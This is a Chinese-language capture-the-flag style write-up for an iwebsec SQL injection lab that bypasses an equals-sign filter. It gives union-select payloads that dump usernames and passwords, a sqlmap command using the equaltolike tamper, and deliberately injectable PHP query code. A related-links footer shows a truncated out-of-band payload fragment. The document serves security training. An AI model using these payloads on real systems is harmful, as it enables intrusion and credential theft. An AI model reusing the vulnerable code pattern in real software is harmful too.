首页 > 数据库 >iwebsec-sql注入 12 等价函数替换过滤

iwebsec-sql注入 12 等价函数替换过滤

时间:2023-08-18 19:56:47浏览次数:69  
标签:12 like -- echo union sql iwebsec id select

01、题目分析

依旧是对等号进行了过滤,那么可以尝试一些等价值的内容来替换等号

02、手工注入

依旧是对等号进行了过滤,那么可以尝试一些等价值的内容来替换等号,比如like,rlike,regexp替换,id = 1可以用id like 1以及id > 0 and id < 2以及!(id <> 1)进行绕过

-- 查询行数
?id=1 order by 3
-- id=-1就是不显示内容

-- 查询回显
?id=-1 union select 1,2,3

-- 暴库
?id=-1 union select 1,2,database()

-- 暴表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'iwebsec'
-- 暴字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name like 'users'
-- 这里会报错,因此我们把user编码成16进制0x7573657273
-- 暴数据
?id=1 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)

02、工具注入

还有什么比有工具有脚本更美妙的呢,直接梭哈

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/12.php?id=1"  --current-db --dump --batch --tamper=equaltolike

image

03、代码分析

<?php
if(isset($_GET['id'])){
    // 检查是否包含 "=",如果存在则终止程序并输出错误消息
    if (preg_match('/=/', $_GET["id"])) {
        die("ERROR");
    }else{
        // 对 id 参数进行解码
        $id = urldecode($_GET['id']);

        // 构造 SQL 查询语句
        $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

        // 执行查询
        $result=mysql_query($sql);
    }
}else{
    // 如果没有提供 id 参数,则退出程序
    exit();
}

if ($result) {
    ?>
    <table class='table table-striped'>
    <tr><th>id</th><th>name</th><th>age</th></tr>
    <?php
    // 循环遍历查询结果,并输出到表格中
    while ($row = mysql_fetch_assoc($result)) {
        echo "<tr>";
        echo "<td>".$row['id']."</td>";
        echo "<td>".$row['username']."</td>";
        echo "<td>".$row['password']."</td>";
        echo "</tr>";
    }   
    echo "</table>";
}
else 
{
    // 输出 MySQL 错误信息
    // echo '<font color= "#FFFFFF">';
    print_r(mysql_error());
    // echo "</font>";  
}

// 导入 footer.php
require_once '../footer.php';
?>

标签:12,like,--,echo,union,sql,iwebsec,id,select
From: https://www.cnblogs.com/bdrwmy/p/17641468.html

相关文章

  • burpsuite靶场----SQL注入17----oracle之DNS外带
    burpsuite靶场----SQL注入17----oracle之DNS外带靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration正式开始payload模板:'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-......
  • 【题解】#119. 最大整数 题解(2023-07-12更新)
    #119.最大整数题解本文章的访问次数为次。Part1提示题目传送门欢迎大家指出错误并私信这个蒟蒻欢迎大家在下方评论区写出自己的疑问(记得@这个蒟蒻)本文已同步至学校网站、博客园。Part2背景本来是不想写这篇题解的,但是由于卡了这个蒟蒻\(1\)整天,故此纪念。Par......
  • iwebsec-sql注入 10 双重url编码绕过
    01、题目分析依旧是对关键词进行了过滤,除了双写大小写等过滤方法还可以采用双重url编码,在SQL注入攻击中,双层URL编码绕过机制是一种黑客利用URL编码的漏洞绕过安全检查的手法。原始的URL编码是将特殊字符转换成%后面跟着它的ASCII值的十六进制表示。例如,'被编码为%......
  • iwebsec-sql注入 11 十六进制编码绕过
    01、题目分析这里对单引号双引号啥的进行了过滤,可以采用16进制编码进行绕过02、手工注入这个和上次的双重url编码有异曲同工之妙,不过这个编码就简单了,直接十六进制编码即可,这里采用的编码软件是CaptfEncoder-win-x64-3.1.2.exe,16进制编码主要是在引号方面--查询行数?id=1or......
  • iwebsec-sql注入 08 大小写过滤注入
    01、题目分析大小写过滤顾名思义,会对正常小写的sql语句进行过滤,这个时候只需要大写sql注入语句即可02、手工注入?id=-1UNIONSELECT1,2,3?id=-1UNIONSELECT1,2,DATABASE()?id=-1UNIONSELECT1,2,GROUP_CONCAT(TABLE_NAME)FROMINFORMATION_SCHEMA.TABLESWHERETABLE......
  • iwebsec-sql注入 09 双写关键字绕过
    01、题目分析大小写过滤顾名思义,会对正常小写的sql语句进行过滤,这个时候只需要大写sql注入语句即可02、手工注入关键词绕过顾名思义,就是将一些sql注入中会用到的一些关键词进行过滤,本关是将select过滤了,那就双写写成seselectlect?id=1orderby3--id=-1就是不显示内容?id=......
  • iwebsec-sql注入 05 报错型注入
    01、题目分析:三大盲注中的报错型注入,02、sqlmap工具注入:一把梭python.\sqlmap.py-u"http://www.bdrwmy.cn:8001/sqli/05.php?id=1"--current-db--dump--batch03、手工注入:盲注,简单的来讲就是无论你输入什么内容,页面都不会出现错误提示,如果查询结果正确就显示类似......
  • iwebsec-sql注入 06 宽字节字符型注入
    01、题目分析宽字节字符型注入,因为源代码中传参get值的时候,有一个addslashes()函数,是返回在预定义字符('")之前添加反斜杠的字符串。也就是说,当我们按照正常的字符型注入的时候,会在'前加入,也就是说,我们在url上--url写入?id=1'orderby3--+--在addslashes(1'order......
  • burpsuite靶场----SQL注入16----DNS外带test
    burpsuite靶场----SQL注入16----oracle之DNS外带test靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band正式开始1.先在burpsuite自带的dns上获取一段url2.使用payload'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+enc......
  • iwebsec-sql注入 07 空格过滤
    01、题目分析空格过滤就是将用户输入的空格过滤掉,众所周知,sql注入语句中会有很多的sql注入语句,如果进行了空格过滤,那么sql注入语句会因为参数连接在一快导致不能正常注入02、手工注入既然是数字型注入,那么对sql注入语句中的空格用其他内容替换即可,可以使用/**/、()、%0a等等,我这......